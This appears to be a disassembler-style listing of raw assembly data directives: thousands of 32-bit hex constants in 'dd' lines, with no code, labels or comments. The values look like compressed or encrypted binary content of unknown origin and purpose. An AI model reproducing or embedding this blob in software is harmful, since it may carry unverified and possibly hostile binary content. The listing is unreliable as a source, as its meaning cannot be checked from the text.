		dd 0B080CC21h, 0C728194Fh, 305BB658h, 81A051E9h, 0E17C8819h
		dd 38B92C39h, 2AF94AC4h, 0E9F00C61h, 0BB113435h, 3109D100h
		dd 4FEB8145h, 62EE0B18h, 0F2197E9h, 0CD68D001h,	0D5302B05h
		dd 3AD71FCh, 12F58152h,	0C4DC901Bh, 0A58BBB8Dh,	92685301h
		dd 201A2217h, 0DD0CF36Eh, 0C6C8725h, 0A532064Fh, 31B95176h
		dd 0C15B3490h, 0B52D138Ch, 419D4BD2h, 0A435A9E3h, 0BE5EB0D4h
		dd 1AC272C9h, 2CE1B961h, 0A5F387F6h, 0F7C176A2h, 0E8BD58A5h
		dd 545313F6h, 0EAA542B9h, 6D3BCA2Dh, 97103AECh,	0D966A24Ah
		dd 0BD521AC4h, 0A7A2BE80h, 894E8F1Dh, 0DEC471FDh, 0DD0105F9h
		dd 7CD28A1Eh, 352717ACh, 9ADC7BC2h, 0E76A4052h,	0D31D05E2h
		dd 0A827E917h, 675C2711h, 0FCB40C79h, 0A709F38Bh, 5667699h
		dd 0FD88DD9Eh, 9EB73D53h, 0BB09F316h, 5D2B6C77h, 8E636D92h
		dd 0DBBB3403h, 0D1424640h, 0E524B684h, 0B151285Ah, 99E380F4h
		dd 10BA80A3h, 0D3218BC5h, 4E37FA88h, 0BB922095h, 0A1625CE5h
		dd 0E6C7BFAEh, 535232E0h, 0A5C1F756h, 81B3819Ch, 9B0F70CDh
		dd 40D7F970h, 0AE4AB6B4h, 0E884A9FCh, 0D31E1C9Ah, 3936F025h
		dd 0F394ADE3h, 0E90B8F1Ah, 9F11F077h, 0A398883Ch, 271B266Fh
		dd 0E926AD16h, 0D7A60616h, 583BD67Ah, 1497F66Ah, 0BCE886B5h
		dd 0C0E9E101h, 2EE435E5h, 9B7A5CD1h, 0FA606A0Dh, 4B8B706Bh
		dd 2DAED53h, 79E9595Eh,	7035D20Fh, 25FE27D1h, 84BF9D7Ch
		dd 8DF8B1CCh, 0C6705D49h, 93B60F2Ch, 892B0908h,	0C5DA155Bh
		dd 5613EF9Bh, 0C622FAC0h, 0B2E9145Eh, 68C7E8C8h, 0F8432C69h
		dd 0B898015Fh, 927C412Fh, 94B75CE8h, 0C16474Ch,	62D8451Bh
		dd 0C6A4F826h, 1339559h, 0CFF26CEEh, 8CF3296Bh,	59E27C84h
		dd 0C61C8494h, 124542D6h, 88B8FE29h, 1C60690Bh,	2AE9C300h
		dd 8FBD6DAAh, 34C23C96h, 60207465h, 6103D67Dh, 0E9EE3A06h
		dd 5ACE2886h, 0F4B106B8h, 1D443AC4h, 0ECA874E1h, 563AFC4h
		dd 41AFD7F7h, 0AB0BED55h, 0DAC54099h, 50177708h, 8010F901h
		dd 74FF7D08h, 2BFF66EEh, 94041D88h, 0EC880EC1h,	8402E24Bh
		dd 0C0C61EEh, 4EFC4F2Dh, 0D34E80A4h, 63EC766h, 2530872Ch
		dd 78BAE909h, 0A35C5E53h, 721A26B3h, 6BDEDBAFh,	0F0A11547h
		dd 249C5888h, 9F7425B2h, 74253FA6h, 315889ABh, 0C3E2440Bh
		dd 81000356h, 0B27684F1h, 0BAE29F59h, 5F19B571h, 0E863E7B0h
		dd 8402B84Eh, 8C145B9Fh, 8CACF84Eh, 4801DF18h, 585E54D3h
		dd 719786F6h, 7C3E662Dh, 2408A041h, 807685E9h, 0FE58C220h
		dd 0EA1680CAh, 0A1E530E8h, 0B8E1D22Fh, 943C925Eh, 2DC634CAh
		dd 0B35511C6h, 8885116Eh, 5F028E4Bh, 4951F868h,	68869810h
		dd 0E0FC2D5Fh, 8E9B7E4Ah, 928E90Bh, 10A8287Bh, 0F9EA88A4h
		dd 0D030E12h, 112D0B80h, 89FD0B9Ah, 0D6EB8BF1h,	8E568334h
		dd 40D209B1h, 0BDC199B1h, 0BB398814h, 7CD78590h, 0FD84E94Bh
		dd 0F56AED99h, 9DB7457h, 63E86004h, 0CDEA5C01h,	5B0C0151h
		dd 8883705Fh, 0B0289E40h, 1D152C27h, 62D2514Dh,	5A41724Ch
		dd 6AC082EAh, 0FA2905E8h, 952E12C9h, 230BFE6Dh,	471CAB8Eh
		dd 10E98423h, 16680212h, 61DDDC13h, 2E20790Eh, 54853009h
		dd 64742D8Dh, 90A9857Ah, 0F9ED9929h, 7F684E65h,	5AF12E72h
		dd 65CB13F3h, 0A3D0AFB2h, 0FB252FEh, 5EAC01Ch, 0F6EDF3Ch
		dd 0F2E655CAh, 66900633h, 839DE72Ah, 0C3AD5B5Eh, 1970CC8Bh
		dd 7CBB5ED6h, 4730E968h, 5BC9B5EEh, 7950245Eh, 154A00D0h
		dd 3EE93538h, 4DD1BA5Ah, 8005785Ch, 0E67BF45Fh,	0E8C1120Ch
		dd 14070605h, 11CE48E9h, 0D439EB00h, 25D8F767h,	36262E00h
		dd 0FD033521h, 44B858B3h, 409BE240h, 4D9501A1h,	12922410h
		dd 0C159A002h, 0DB608EA2h, 5225C4BBh, 0B680D94Fh, 4B4B4E8Ch
		dd 0D94087BDh, 86D71613h, 73C4E83Bh, 9BC748h, 46735C52h
		dd 0BF08A8E9h, 4721DC18h, 84731C4Ch, 6805AD86h,	8579514h
		dd 56259B08h, 71782D7Ah, 396AC55h, 0A7E146B8h, 0F5803110h
		dd 2D0B2A22h, 0FEF29654h, 58E6B76Bh, 594E5598h,	62F2CCD7h
		dd 0C0E064DEh, 543BBF3Ch, 30B05D35h, 2097BB02h,	75F801F7h
		dd 60A53F45h, 5B12E974h, 4E958F96h, 14EDE1F0h, 9830F64Ah
		dd 0F82F4407h, 1284C917h, 2AF120Fh, 0B0D2DD26h,	0BC5AB985h
		dd 222DC064h, 0FC3B8D08h, 70551D8h, 145055D6h, 6052C7B6h
		dd 2449A7D2h, 0CA5228h,	0F2102EF3h, 5D73EB29h, 5450C327h
		dd 9910F283h, 0BE9164C9h, 0FE0CF862h, 4045EB76h, 2E75017h
		dd 6307E909h, 3726D75Bh, 0FB47B88h, 6173BC68h, 6967D916h
		dd 82BA8455h, 1B710412h, 17A810D0h, 1390F6CBh, 1DBE56EBh
		dd 0C10C115Bh, 7454E681h
		dd 0F6B0CFD7h, 0E83E27BBh, 10CE025Ch, 6075087Ch, 0C0397ECh
		dd 0A4E91691h, 9B09BFB9h, 0D7627E51h, 126AEA0Ah, 0EC798405h
		dd 223B07BEh, 3AC6AC97h, 7A828035h, 58873031h, 0FB50E186h
		dd 0D8A44062h, 7C4E06F1h, 9904CF0Ch, 0DE60E18h,	3A4F6005h
		dd 4DB3C38Ah, 30F589B1h, 0E4B77FB6h, 0A251B56Bh, 0F23DA43Eh
		dd 0FF5DEF42h, 5C0244BCh, 766D072Dh, 0D0827D0Bh, 667F8A6Bh
		dd 13BB7905h, 0AE4F960Ch, 6DC6C27h, 52A9003h, 4C2249DAh
		dd 0B2C9FB31h, 0C5F3A66Eh, 92BEB9E9h, 0E17FF3F8h, 5BE6A72Fh
		dd 0EFAEBD0Fh, 35B93D4h, 0EB284AD7h, 4B62EAFh, 1D3B636h
		dd 7E3363BFh, 41053568h, 0C3717A14h, 204F6661h,	0BA190B8h
		dd 5EF510EEh, 19DE07B9h, 0E0811A63h, 988138Ch, 774E70EAh
		dd 0C039F88Dh, 0C768A15h, 0E3815B01h, 88C24174h, 45C5936h
		dd 0A34A6468h, 6A5110B1h, 0EBD5F941h, 5C05BE05h, 7F009CBEh
		dd 1FF66179h, 50CA7829h, 2D8708EAh, 9595AD1h, 2D2BD40h
		dd 684F0B64h, 4C6645C2h, 0C003CF03h, 41215E1Bh,	9E0185EAh
		dd 28203D50h, 89582F18h, 0E60415F2h, 1B305CE2h,	80F28780h
		dd 290531E5h, 6571E93Ah, 32AA03EDh, 6E568FC1h, 54BEBED5h
		dd 0A32BC3F2h, 42521E9Ah, 435D319Eh, 3A076960h,	14563522h
		dd 9213D668h, 8405BBD3h, 0EACC174Dh, 0B0285EB0h, 0D741B511h
		dd 8B39EC66h, 3EF15A5Bh, 4C053460h, 12F9695Ch, 0DBCEECAh
		dd 102768E6h, 5B455E0Ch, 317841EAh, 0B588DF9Bh,	38680C65h
		dd 45B25B47h, 92B96C20h, 952BF0A0h, 0B35725C2h,	0FDA4FD2h
		dd 80145940h, 494E3503h, 0C4F252A8h, 53F61DF0h,	5968660Bh
		dd 41E8540Fh, 35CF885Bh, 0B4696C90h, 0A388B413h, 0FC5A4ED6h
		dd 2C5CA0F9h, 0F5F8E007h, 9134F2D2h, 0DE961D1h,	940A2CA3h
		dd 0F60827F5h, 18D81769h, 0D3870824h, 4C2614B8h, 4468176Ch
		dd 181E54Ch, 7D1062EBh,	0E3C30114h, 58080B95h, 0A13E790h
		dd 4D89AF94h, 5F9D022h,	8440C6C9h, 2DE0139h, 210E507Ah
		dd 1292E8D3h, 0FCAC755Ah, 4BB02312h, 1254D5A7h,	0AC40E310h
		dd 21F74109h, 0C9E57A0Eh, 4B0B447h, 5A294306h, 0B2CCE8EAh
		dd 18D7DE38h, 88AD7C41h, 2125AB74h, 92518C8h, 4F7B90C2h
		dd 4FD7E2D3h, 3F5F489h,	26BB5981h, 402CBF20h, 1F3D2191h
		dd 0D3403174h, 27A87DF3h, 0FA64091Dh, 0B913EC0Fh, 42CBE057h
		dd 27A6B0Ah, 504F6856h,	68C25984h, 5B6DA4DFh, 0CCC74282h
		dd 0BC92F2A2h, 0C62E38C4h, 0D4BD42AEh, 0B8DEA80Bh, 0C2665B02h
		dd 9092F74Bh, 0F68D67Eh, 0AF82622Ch, 61750E25h,	87045400h
		dd 77A4DFh, 8061B551h, 231F48EDh, 0BB1EBC20h, 36895C21h
		dd 8005D589h, 81EEB259h, 0EBE9CD01h, 294152D2h,	0A5EB7A30h
		dd 0ED4B1955h, 29B3937Fh, 40B509FDh, 0E75D15E2h, 9BE9840Eh
		dd 0EC0597DCh, 0BB9AE56Ch, 92BCB43Fh, 0ECE8C8F0h, 0A62F0893h
		dd 24083526h, 0BF570166h, 3A9A7FA2h, 565C0300h,	484740C8h
		dd 2B2D364Fh, 0CDB56103h, 42C1FD82h, 6767DFCh, 751063CAh
		dd 58161496h, 1E109EA4h, 0CEF84AFAh, 9C183581h,	0E8BF840Dh
		dd 54ECF37Bh, 868B444Eh, 885107DBh, 4BCC4FCEh, 25F374A3h
		dd 0A0A93C5Dh, 0B1D177Eh, 0DA0154C5h, 0E083208h, 2E9835Bh
		dd 0C42A4455h, 0FFBFD473h, 609FC08Ch, 0F9B98392h, 3648544Dh
		dd 6F528CCh, 612EC20Ah,	0CA14ED1Ah, 29084080h, 595BDA17h
		dd 8B5AC8B6h, 50A94B8Ch, 7D4028DAh, 61066851h, 590DEB7Bh
		dd 29674C78h, 7DC19A40h, 9F08F6AEh, 0AC20AC71h,	0E604F10Fh
		dd 0CE0184C7h, 3A84F0F8h, 310616BDh, 4E0858B5h,	0EB110EAFh
		dd 2E3B68A2h, 20FD665Fh, 0E9135DE2h, 3421C122h,	2801601Eh
		dd 0C53F4F0h, 0A5A67FE1h, 0A7A2A7Bh, 0B0809D25h, 0BA200D66h
		dd 0E90B7C62h, 2C95DA12h, 12328EE7h, 0DB7F0067h, 0E94BCE15h
		dd 79DE4476h, 6306D4C2h, 4F415735h, 5801C746h, 493C7698h
		dd 329CD3F7h, 0B3EAA08Ah, 0F32F5250h, 7C3F37ECh, 60D1A74Fh
		dd 137F2D03h, 0BB4B4A49h, 4A80CB2Ch, 8A4EFC87h,	0C601268Dh
		dd 0DB544BAh, 488B4AA2h, 4D32DC89h, 0D608E612h,	2EDBF501h
		dd 0E16FA522h, 4C63361Ah, 0A2E9C25Ah, 0B566D510h, 6DB02232h
		dd 7D2477EDh, 4ACFAB5Bh, 49144E73h, 0F09650C8h,	11696800h
		dd 875F6BC4h, 0D5F730EFh, 0FA28E908h, 0FD13AE91h, 0F5F44404h
		dd 4E656802h, 609BDECh,	0F46D455Ah, 1B4C81ACh, 80E001E9h
		dd 29D7C1ABh, 72F77012h, 41D924D1h, 9CE0324Bh, 55526970h
		dd 0D02D7E4Fh, 9F5F1406h, 0A8BC5350h, 453AFE59h, 0FC51C66Ch
		dd 5F3A9E30h, 345BEBC0h, 0F4E3E437h, 27589ECBh,	82B6C570h
		dd 0E3F0808Ch, 0BE5A5CB5h, 4B6D0CDEh, 699CD299h, 1C47BF1Fh
		dd 46A41A88h, 780BAB0h,	0B151E0CCh, 19C16179h, 8859E428h
		dd 0C4657BB8h, 0CA00F675h, 80D4865Ah, 385E6BF4h, 6584C502h
		dd 68F7187Dh, 0C94D4E7Eh, 20B525Bh, 90E36C7Dh, 0EE2027FBh
		dd 2D203AEEh, 69C29F57h, 930B0E41h, 0A907661Ah,	0E1593BA2h
		dd 0D56C5F85h, 0F327DBD4h, 67DF6C3Ah, 9D34AA81h, 0E9610271h
		dd 0A22BED3Ch, 0BC2778ACh, 4948A993h, 102DD06h,	349D28E4h
		dd 58323074h, 0DB4A08E5h, 0CBB1E18h, 0C8CB290Bh, 5C27A44Eh
		dd 22AB2CBAh, 31709F51h, 2C02E581h, 50AFC447h, 4C61F616h
		dd 196B24h, 1747F54Ch, 252B7C5Dh, 5FA56EDBh, 98E2A46Dh
		dd 4F2B1652h, 1A5C26A9h, 85813507h, 0EA2DE55Eh,	68E98C90h
		dd 0C0469D92h, 0A276DEh, 0C008F580h, 0E5D005EDh, 0F370C5F0h
		dd 62E9EE09h, 0E9BDF45Fh, 614B77DEh, 2C294B4h, 84605758h
		dd 0B1204697h, 14F9E61h, 875163E3h, 0F311816Fh,	91AEAA23h
		dd 0CCA3B47Eh, 0A403E348h, 0C50B5BE6h, 4FA56EE9h, 0A652AA05h
		dd 0FC921EAh, 0E20960C8h, 0F82A5881h, 50CA209h,	4A1E81E1h
		dd 0E36800A9h, 0F2659D79h, 0A4C3E989h, 0A2AE5C18h, 39FAD3E9h
		dd 0C79204A1h, 0CB13D197h, 1340224Ah, 0B89DD4E7h, 0FA23123Bh
		dd 0CC931561h, 825EF63Fh, 4A8B63E9h, 513D8464h,	0E50127BBh
		dd 264E278h, 884233Ah, 0A6714043h, 60092516h, 0D6E99B40h
		dd 90E8A84Ah, 56AE42C4h, 0BB0164ABh, 76E06613h,	0A68A4A0Bh
		dd 6E6C103Dh, 5959054Bh, 42278C55h, 0E7DCAA5Fh,	0BF27F8F5h
		dd 0CBDD59EAh, 0FDE0D16Eh, 0C3015B89h, 0C05A1684h, 2D51EB1Eh
		dd 16CF29F6h, 13BDAC55h, 5EE9FC01h, 0C73AF470h,	9C437C0Ah
		dd 283C8C1Ch, 16B708EFh, 0AF3C40A0h, 0EA80B5A8h, 6C4CB392h
		dd 3CFE975Ch, 0C12D6848h, 20B04C25h, 554AE721h,	444FD3E7h
		dd 179BDBDFh, 0E94F9EA8h, 66600524h, 1CAABD61h,	0F97DF4BBh
		dd 93DB1876h, 14A7F5DDh, 0EC78FB22h, 5F28D204h,	43C5EE07h
		dd 25CA1DEAh, 0E9221075h, 410D4AFDh, 21616547h,	9597866h
		dd 7D4911E4h, 0FE31B082h, 1F708175h, 4E94466Eh,	840BBF3h
		dd 0C4C69F5Eh, 0DBE18725h, 0C5FB4246h, 4E816CD7h, 32B00CB4h
		dd 0D9DD30D2h, 0B9004E90h, 0D17157Ah, 261AE181h, 838EB061h
		dd 0E61001E3h, 0D9915A42h, 55D9207Ah, 0D2B145FBh, 1E526122h
		dd 41EE20EBh, 0AB67A40h, 68B5512Eh, 0ED4B27AFh,	4AC23C50h
		dd 3BF7109h, 1FBE201h, 0D3685908h, 6FE9D99Dh, 24B18D02h
		dd 0F68CC0FDh, 0B45007D9h, 5BE480BCh, 0E687AC07h, 665AF4ECh
		dd 0D9B11FACh, 545201CAh, 0B075A26Fh, 9A711CE9h, 20492F50h
		dd 75954771h, 2B317D8Ah, 0BBCD2F2Ah, 60885301h,	7B94204Fh
		dd 57ADBAFh, 0BE59CD29h
		dd 88AF8DD4h, 0C09AC107h, 28408696h, 4D03D783h,	0E12F1829h
		dd 0EFC2FEA5h, 5D0E0488h, 44D206DBh, 9E53E15h, 4F57D158h
		dd 76E214E9h, 0DE40E077h, 2EFC2525h, 80EF0FCh, 0FC640BE9h
		dd 6AA4C244h, 0F9BE26Eh, 0C023E909h, 1979BDBCh,	20346268h
		dd 0D40BC1E4h, 9F093548h, 0F731477Ch, 31DE7106h, 0B2FD012Fh
		dd 0D9ABF72Ah, 0BBC03077h, 0E6031810h, 497ECA23h, 5831DA27h
		dd 7B4C0FB9h, 0E5A04E4Ah, 5DC4084Dh, 0CDC22397h, 400DC9AFh
		dd 0E5452301h, 50FF789Dh, 0A891CC4Ah, 7980F4A7h, 90A27E3Ch
		dd 0E4CE1DC4h, 4300AC07h, 0F1810E5Dh, 0E99D7D61h, 0A886122Fh
		dd 0EBE913A0h, 84EE1DC4h, 0D029EA1Bh, 3EA5806Fh, 485FA661h
		dd 0ED81A8C0h, 842913FBh, 60E2B821h, 0AF420D38h, 0A1CDF457h
		dd 30550E5h, 0B652027Fh, 0E0B753E0h, 0F438E295h, 0C4800780h
		dd 22798E4Eh, 8EC6E0CDh, 7F6E70BDh, 9CEE24D6h, 59E5109Dh
		dd 0BA5201FFh, 47BD0248h, 5075D6Ch, 0D0DE5480h,	2743B72Dh
		dd 0FFE91D17h, 565E5145h, 0FAE7359Dh, 97FB4433h, 8CE11680h
		dd 164E146Fh, 660AF2B8h, 29C6D73h, 3D873EBAh, 0F2FE5E72h
		dd 79DD7516h, 1A83B908h, 8F55A6F6h, 40A16B40h, 7736B873h
		dd 1DA1780h, 579A09C2h,	266A3877h, 5D408207h, 95CFFBAEh
		dd 412FA9F0h, 92265CE8h, 4BA6513Eh, 0A3B981E2h,	0E840FB06h
		dd 93B5F347h, 508CC16Ah, 5B81F77Eh, 0E90B288Eh,	0E9536684h
		dd 35124893h, 0B2D90585h, 0B4795E2Fh, 6C0FEA1Fh, 2CA984F9h
		dd 3A5AD9FBh, 39E13070h, 0E95C0B61h, 0AE7C84CBh, 0CE315941h
		dd 88FF1C9h, 112F387h, 60E9D3A4h, 0AC402BB1h, 5AF95CA7h
		dd 245F9289h, 67946206h, 0E12E9456h, 4C982AAEh,	0B068125Dh
		dd 6F8F8C52h, 0F73DE567h, 0F7077172h, 0B8F2C4E6h, 61688BA9h
		dd 10B42689h, 3116A042h, 1425EFEFh, 3060A0F1h, 0FD611BD9h
		dd 0BAC7121Dh, 731C3008h, 3D3CA744h, 0CF688B58h, 9F9CFD4Ah
		dd 1D968D96h, 0F7CD15BBh, 4F22CB9Eh, 0E7209066h, 6BB32CBBh
		dd 4A83207Ch, 0F0D3D5B9h, 0EE12818Bh, 0A21D70B4h, 32C7CE9Dh
		dd 0C6C74316h, 56404552h, 7B6810B9h, 2E53F203h,	14A5492h
		dd 8366460Eh, 24D6E9DDh, 56B15B70h, 2D0CF06Bh, 8854AAA9h
		dd 966BE3C0h, 0B3215856h, 58DE250h, 311EFB71h, 2D2470D1h
		dd 2E272F68h, 5B97E04Dh, 0B7BE8055h, 7510791Eh,	1469968Ch
		dd 0C169CF5Fh, 4E7E0B4Ch, 0B58905B4h, 6953F4BAh, 0F752977Ch
		dd 1FFE8309h, 0D218DC2Dh, 0AEF3C77Fh, 0A5B50C37h, 1712709Fh
		dd 0A7A05411h, 0F7FB1887h, 5AE908D7h, 2D1740B6h, 7C472FBDh
		dd 4BF571Ch, 807B1E5Ah,	613DE318h, 0F8014A13h, 0D5A8A285h
		dd 61B2701h, 0A8A96BE9h, 0A5F0B5E1h, 5725BDB6h,	8EF46EABh
		dd 82C5E658h, 0DC80B541h, 0B13B51D4h, 30F97EBBh, 6C29BBCh
		dd 63CE2885h, 0B050A8CBh, 0E0C00407h, 0ABF72408h, 0E96BCE01h
		dd 7581A2D1h, 41685EF2h, 5B043350h, 1D4284C9h, 0C10F0956h
		dd 6F01267Fh, 2ACBDBCDh, 4ED3A2F4h, 0B48A2EAh, 8F0D4A57h
		dd 0C2A2AB5Bh, 595F7E07h, 0A2B06A4Bh, 55212D68h, 0A15F6A5Ah
		dd 2A7BECB7h, 0B7FAAF93h, 1209DB50h, 0FF6B1164h, 0C4A188h
		dd 26234948h, 4C5E44E9h, 749AFF7h, 36072860h, 0FDF221AFh
		dd 0AE824690h, 3ADCF160h, 0FE0A7D25h, 3B760E4Ch, 0F20116EBh
		dd 2BE834E9h, 71C0EBD2h, 0E5E96419h, 0DC282F39h, 0A3FE4A95h
		dd 0BA2579FAh, 0F4626AC1h, 421CC8BFh, 0DB71ADEEh, 0DE8F062Dh
		dd 0A9314A3Bh, 0D4AAD240h, 1DBE80A9h, 2D023E42h, 0F7E8D148h
		dd 3E5CD0h, 9833C025h, 0C4093552h, 75029001h, 0B182E11Ah
		dd 0B579FBFh, 44C5E5Fh,	0EF5BDE89h, 8C38E31h, 6F10367Dh
		dd 0D83012B3h, 5E95CBBAh, 2A490A8h, 6CB4E936h, 2A95A0DDh
		dd 99694FD0h, 0C709E432h, 0E7FC942Dh, 0EEF150BFh, 11615B16h
		dd 4524E0F8h, 0E2B11259h, 124A78E5h, 0EA5B574Fh, 8085CA56h
		dd 31C2E7F2h, 8CF08EAh,	0BB019406h, 40D3239Eh, 0AF3BC30h
		dd 153A0AF6h, 0E3E98488h, 0DE09A8B4h, 0A0730A49h, 0C0B0B666h
		dd 80020FE6h, 32C442CEh, 0A6CCAB5Fh, 83D16EEBh,	0ACDA4EA9h
		dd 0DDE58EAh, 0C28CD3D9h, 0CC875A02h, 1B61823Fh, 0C5C91055h
		dd 0F275EE5Eh, 98E7FDEFh, 0B7878896h, 72FE05C0h, 0C619C37h
		dd 2D041941h, 8EA503Fh,	4D2D0948h, 0BE290F46h, 0C51C86A7h
		dd 0BDC1F32Fh, 0E9AE1A98h, 682FE289h, 67A7744Ch, 62079150h
		dd 945FEEDEh, 3353506h,	4B69E81Dh, 0E9A92CBAh, 21CE1F2Fh
		dd 4151675Bh, 12A2B03Eh, 0F5B12F16h, 3EED2917h,	613DCE16h
		dd 2FBD4FAh, 18B27F21h,	1BAA4FF7h, 0F6160C83h, 2BAC5D35h
		dd 4A73F2C0h, 12D061B4h, 55F61081h, 66AC2C0Bh, 21674D9h
		dd 0E9F00EE1h, 0ACFE58F9h, 6BA302D3h, 12583716h, 201DC976h
		dd 0D041810Dh, 837FD869h, 7ADE931h, 8BAFE5D9h, 44B3E291h
		dd 4267BFDh, 0D13006B2h, 2A03AE5Ah, 0CBE2B551h,	2183B4EBh
		dd 0FCB1E4DEh, 81048CC5h, 5D3BDECh, 2B3599BAh, 0AE806462h
		dd 4638A6F1h, 1F99F0Ah,	0A896C742h, 0E612D470h,	0C45E66BCh
		dd 64D48059h, 324B9945h, 0DAFBEE1h, 0BB9D0C72h,	0E9564A01h
		dd 5F5CC99Eh, 45F4AAA3h, 0B70EC348h, 4CC53FF2h,	2AEC80C6h
		dd 0FCC925E5h, 0E92D83D0h, 52B85D0h, 17CC94EEh,	0DD40AACAh
		dd 1E9D029h, 5CE8B7B0h,	745D1E68h, 0F9FC8BF0h, 75B9809Dh
		dd 0BF045D3Eh, 7A05A179h, 0E8B1E974h, 0B092FFA8h, 3C1F5E05h
		dd 49D23334h, 0A46B9DB1h, 0AD69E7Bh, 0A51437EFh, 8831B06Ah
		dd 772CC377h, 1E42C3CEh, 6D640FE1h, 3A84C945h, 6D6197E5h
		dd 0C770407Ah, 8688CCE8h, 0BBD36997h, 743A7BADh, 0EBA4A609h
		dd 1F4DBC5Ah, 0DEEF8B53h, 90C85432h, 0C82538C9h, 0BDF39C5Fh
		dd 0E9066ED3h, 4C34DAB3h, 6701DC53h, 4D73576Ah,	417CC645h
		dd 9350B511h, 486D1F85h, 0C4AA1332h, 0BF728552h, 0CA42A0CBh
		dd 4A342101h, 3A86E966h, 8AEA2612h, 0CB410Bh, 1F0556FFh
		dd 27EC4748h, 25B5C06h,	2D4F75E9h, 0E3482DFEh, 0D8494E82h
		dd 830FF759h, 0A80A044Ah, 0B84C402Fh, 0C0356613h, 8E0308EFh
		dd 0A9B2D01h, 0F3B55A5h, 0A4CB56FEh, 0C34FEFFAh, 0E98294B2h
		dd 0E755583Ch, 0E26809A4h, 106B897Fh, 0B1ACC0D9h, 0F829096Eh
		dd 0EF933404h, 71F20131h, 0EA16BB05h, 2D68C62Ch, 1EF679B8h
		dd 0D9C7F5Ah, 732DF2B9h, 0E9D21281h, 441C10CEh,	0D3C1E65Bh
		dd 4C5A9FCh, 0ADDDAB44h, 0B99B210h, 91155B68h, 6E3D313Eh
		dd 52E95D60h, 0AF96B959h, 3A85CF81h, 363B11FEh,	0B2EFB989h
		dd 0E040D011h, 0C9CF43C8h, 0E6FCE5C2h, 4A9B8EAAh, 57F69FC5h
		dd 0F44910h, 0C21DAA05h, 772522h, 35780364h, 516F4652h
		dd 4AF5D0B7h, 9E4EA891h, 0D75FFA4Bh, 0EA9A6593h, 281EC9F3h
		dd 53CBF42Fh, 39FED5D2h, 73178C9Eh, 823F71A5h, 49DFC191h
		dd 8AFF01ECh, 88D16807h, 325B73DAh, 0F51A8754h,	60F1E750h
		dd 5082D12Ch, 36C167F6h, 93ADC253h, 0EB923D5Ch,	876021BFh
		dd 998C7BBBh, 4DB9649Fh, 0C418FD5Bh, 1582505Eh,	430209F7h
		dd 6B47A669h, 292524BFh, 0C1685382h, 0BEBE9905h, 58420E30h
		dd 9A06247Fh, 0C66B173h, 0F302DF00h, 0BB535619h, 4F127CBEh
		dd 60ECD01Eh, 6E13022Fh, 34EB5C29h, 5B0C0B3Ah, 1C096A62h
		dd 6DE6B202h, 9DDF703h,	283F97D0h, 0AF150557h, 88507D41h
		dd 0E3CD53DCh, 8B99853Ah, 31BA4176h, 60ACF13Eh,	2997EFC1h
		dd 0A64A74FAh, 9D0908CEh
		dd 89EF2909h, 0E7255FDDh, 3344AA5Dh, 69EF4B66h,	99A680DEh
		dd 4E063959h, 2DB80B50h, 35507747h, 5060860h, 0F0DD0F7h
		dd 3C6B37B9h, 0C3A0CE0Eh, 915F2D59h, 33B6FC73h,	5E09CF26h
		dd 62EDD956h, 1551EA1Dh, 274F0788h, 5904FE71h, 98BECE01h
		dd 0E760899Dh, 0A5602F96h, 5BE97A62h, 0E236D3DAh, 34D2D593h
		dd 4DB38E48h, 0BA3E6097h, 90129FAEh, 0D85D1762h, 0AF08411h
		dd 25F67C85h, 37D040ECh, 89A03E56h, 0A3062CDh, 89081D20h
		dd 296B3723h, 7E59803Dh, 74F20D58h, 8AE910C6h, 6E575CF1h
		dd 0B56C4325h, 2DEE71BDh, 5A54A182h, 687C58C1h,	68D8D6E6h
		dd 0B3645F4Fh, 7D4110E9h, 622C5A0Fh, 0D80EC54Eh, 783BDDh
		dd 0B353515Bh, 303CB160h, 0E1E9D909h, 5D3A1AEDh, 25279CCCh
		dd 3CE8F2F5h, 61878107h, 6035BC45h, 920F67F1h, 132FCA7Eh
		dd 9F625B6Ah, 0E26626F7h, 99575788h, 8104D358h,	3E4137CDh
		dd 5CEA9035h, 6034929Ch, 533BEAD2h, 7704D48h, 375C41CAh
		dd 22ABE660h, 0D80848ECh, 0BF17CD05h, 46E7003Fh, 0F77BAE10h
		dd 64DD530h, 0B0B0ED81h, 0E9BA18C7h, 8058B916h,	28DAEB0Ah
		dd 66C281D8h, 46856152h, 0E796483Ch, 0E5267D2Fh, 5E52A5D5h
		dd 15E9627Eh, 0C29468FDh, 0DD47C940h, 925E79C3h, 5E189AEDh
		dd 0E11B3387h, 7CEB8282h, 5FED2182h, 0EC65C108h, 0CABDDC2Ah
		dd 0E4F3C1CBh, 5E00B62Ah, 0ABDA70C3h, 0C92E7DD7h, 0AED84F79h
		dd 90FC7920h, 0F489553Ch, 500BF92Ah, 53125233h,	7601156Fh
		dd 1F112DC8h, 0E933BD41h, 0D57ED531h, 0E901BBB9h, 2EEC16FBh
		dd 88FEF021h, 0E90520BFh, 9CEA756Ah, 0F4F85DB0h, 0C0169865h
		dd 0E2808EC0h, 4FC2E6A2h, 0ECB8F11Bh, 58F6302Eh, 4DAF639h
		dd 0F13AE9D2h, 648158ECh, 0F03DE74Dh, 0AFBFD45Ch, 0E5CFA039h
		dd 0C0481E6Dh, 0A8BDC711h, 0FABD2761h, 319B60D7h, 7754702Dh
		dd 440013Bh, 0DAF0038Dh, 442A59F1h, 0A9523168h,	0DF29C7D6h
		dd 9DAA6ADFh, 0B137681h, 0F82A3152h, 4572050Eh,	4BB1283h
		dd 10DEC166h, 0C66C2F99h, 0BC249102h, 0AA92324Dh, 0A812E534h
		dd 0EF954627h, 6ADA08h,	0C5FE35B5h, 0FB7F6866h,	523C48BFh
		dd 802E0CB2h, 87067AF2h, 24058849h, 53422D75h, 0DBC67FF7h
		dd 0FC07F102h, 0C151015Ch, 403C5A1Ch, 0D655B34Bh, 0E9820EF8h
		dd 0D25D8170h, 0E34CC1BCh, 0B9637F3Ah, 81E1A75Fh, 805A4F1Ah
		dd 90CD5B21h, 51685200h, 0DD30585Ah, 0E0787EC5h, 0BC762BAh
		dd 854A95E9h, 0AC988CF8h, 2D91345Ch, 3CD101h, 0D5486F68h
		dd 31395E59h, 1A454CFEh, 0DF3B7D6Ch, 0E9D56E62h, 0A46B0595h
		dd 555FE99Fh, 59E8BE91h, 51C22072h, 86085B5h, 0EC748087h
		dd 776C073h, 9F6BE43Ch,	0F40F01C4h, 32EDEE45h, 92C21C09h
		dd 58E746Ch, 0AB6F1B68h, 94952CCCh, 9BEE8163h, 203BC912h
		dd 6819DDB3h, 0CD0C65A7h, 9806D8F0h, 0D2BE0970h, 5D5289F2h
		dd 99638E2Ch, 0DA4494C5h, 6BC3E3D0h, 0CFB6D1B7h, 89EA6581h
